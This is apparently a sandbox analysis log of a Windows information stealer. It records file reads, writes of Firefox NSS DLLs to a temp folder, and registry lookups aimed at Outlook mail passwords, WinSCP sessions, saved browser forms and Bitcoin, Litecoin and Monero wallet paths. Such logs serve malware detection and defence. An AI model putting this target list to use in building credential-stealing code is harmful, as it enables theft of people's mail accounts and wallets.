Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\evs-mu2XZmDDq_3I.lnk size = 5220, size_out = 5220 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\E_wjAqxP.lnk size = 3898, size_out = 3898 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\F6Te.lnk size = 552, size_out = 552 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\flxbNwcWgV0n4kR.flv.lnk size = 2575, size_out = 2575 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\Fxlxn.lnk size = 981, size_out = 981 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\FZYI0v6_buDm-d9O.lnk size = 3799, size_out = 3799 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\g5F7NFHxCw.lnk size = 3852, size_out = 3852 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\G75P.lnk size = 545, size_out = 545 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\gIN4UnQrPywWhHMpL31.ots.lnk size = 1055, size_out = 1055 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\gLb9EGvUD.lnk size = 4999, size_out = 4999 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\gsjZHHkpLbVJkW1Clgz.lnk size = 2682, size_out = 2682 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\gx-9m.lnk size = 6584, size_out = 6584 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\h72CJ5GET.ots.lnk size = 6599, size_out = 6599 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\hGyi-Cb.lnk size = 3845, size_out = 3845 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\hHu6n-WhXpQLeR.lnk size = 5198, size_out = 5198 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\Hr58A4aaHM.lnk size = 1010, size_out = 1010 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\hVotFJWhFGBD 2Z.mkv.lnk size = 1035, size_out = 1035 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\I1WhKlENAwKn.lnk size = 3554, size_out = 3554 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\IBNXL3TRBVFr5.mkv.lnk size = 1025, size_out = 1025 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\IlZLf8gCsW02mWS.lnk size = 5343, size_out = 5343 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\I_dy9.lnk size = 6595, size_out = 6595 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-console-l1-1-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-datetime-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-debug-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-errorhandling-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-1-0.dll size = 21816 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-2-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l2-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-handle-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-heap-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-interlocked-l1-1-0.dll size = 17856 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-libraryloader-l1-1-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-localization-l1-2-0.dll size = 20792 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-memory-l1-1-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-namedpipe-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processenvironment-l1-1-0.dll size = 19248 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-0.dll size = 19392 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-1.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-profile-l1-1-0.dll size = 17712 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-rtlsupport-l1-1-0.dll size = 17720 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-string-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-1-0.dll size = 20280 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-2-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-sysinfo-l1-1-0.dll size = 19248 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-timezone-l1-1-0.dll size = 18224 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-util-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-conio-l1-1-0.dll size = 19256 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-convert-l1-1-0.dll size = 22328 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-environment-l1-1-0.dll size = 18736 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-filesystem-l1-1-0.dll size = 20280 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-heap-l1-1-0.dll size = 19256 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-locale-l1-1-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-math-l1-1-0.dll size = 28984 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-multibyte-l1-1-0.dll size = 26424 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-private-l1-1-0.dll size = 73016 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-process-l1-1-0.dll size = 19256 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-runtime-l1-1-0.dll size = 22840 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-stdio-l1-1-0.dll size = 24368 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-string-l1-1-0.dll size = 23488 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-time-l1-1-0.dll size = 20792 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-utility-l1-1-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/freebl3.dll size = 332752 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/mozglue.dll size = 139216 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/msvcp140.dll size = 440120 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/nssdbm3.dll size = 92624 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/softokn3.dll size = 144336 True 1
Fn
Data
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1313841942994437431934.tmp - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1332873218179136143664.tmp - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1333493652728379727.tmp-shm - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1333493652728379727.tmp-wal - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1333493652728379727.tmp - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1334742496758174814562.tmp - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1334747094731615272395.tmp - True 1
Fn
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\1335211252491625214528.tmp - True 1
Fn
Registry (133)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2 - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\05cb6f136411cf4daf1f74e966b0a7dc - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\4b62e5f8c092a64ea9b79fd559a5a15e - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\609a848a708f544697003a34105400ef - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\63cba20b08018a458b6edb5d87fb54da - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\828cd3a417cead4ab3a214070dce1c3d - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\88d17fec23cbdd4fb54ad1d34c0dce09 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\a533ec91a4f74549ac2130b6908c8aac - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b70c659765f94740b657fee657d05ab4 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\cce6b8ce16bac4458e5e40e3530d6f1d - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\dd7f40a823cda64b92e9a96e9e46e406 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E} - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\ - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\monero-project\monero-core - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\BitcoinGold\BitcoinGold-Qt - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\BitCore\BitCore-Qt - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Litecoin\Litecoin-Qt - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\BitcoinABC\BitcoinABC-Qt - False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography value_name = MachineGuid, data = 0303d5b4-ffe9-470e-9dd8-7d9ec416e53f, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion value_name = ProductName, data = Windows 7 Professional, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography value_name = MachineGuid, data = 0303d5b4-ffe9-470e-9dd8-7d9ec416e53f, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion value_name = ProductName, data = Windows 7 Professional, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography value_name = MachineGuid, data = 0303d5b4-ffe9-470e-9dd8-7d9ec416e53f, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion value_name = ProductName, data = Windows 7 Professional, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer value_name = Version, data = 8.0.7601.17514, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 value_name = Email, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 value_name = Email, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = Email, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 Server, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = Email, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 User, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 Server, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 Port, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 Password, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = IMAP Server, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP Server, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = Email, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP User, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP Server, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP Port, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP Password, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 value_name = Email, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary value_name = Email, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\monero-project\monero-core value_name = wallet_path, data = 0 False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt value_name = strDataDir, data = 0 False 1
Fn
Read Value HKEY_CURRENT_USER\Software\BitcoinGold\BitcoinGold-Qt value_name = strDataDir, data = 0 False 1
Fn
Read Value HKEY_CURRENT_USER\Software\BitCore\BitCore-Qt value_name = strDataDir, data = 0 False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Litecoin\Litecoin-Qt value_name = strDataDir, data = 0 False 1
Fn
Read Value HKEY_CURRENT_USER\Software\BitcoinABC\BitcoinABC-Qt value_name = strDataDir, data = 0 False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - False 1
Fn
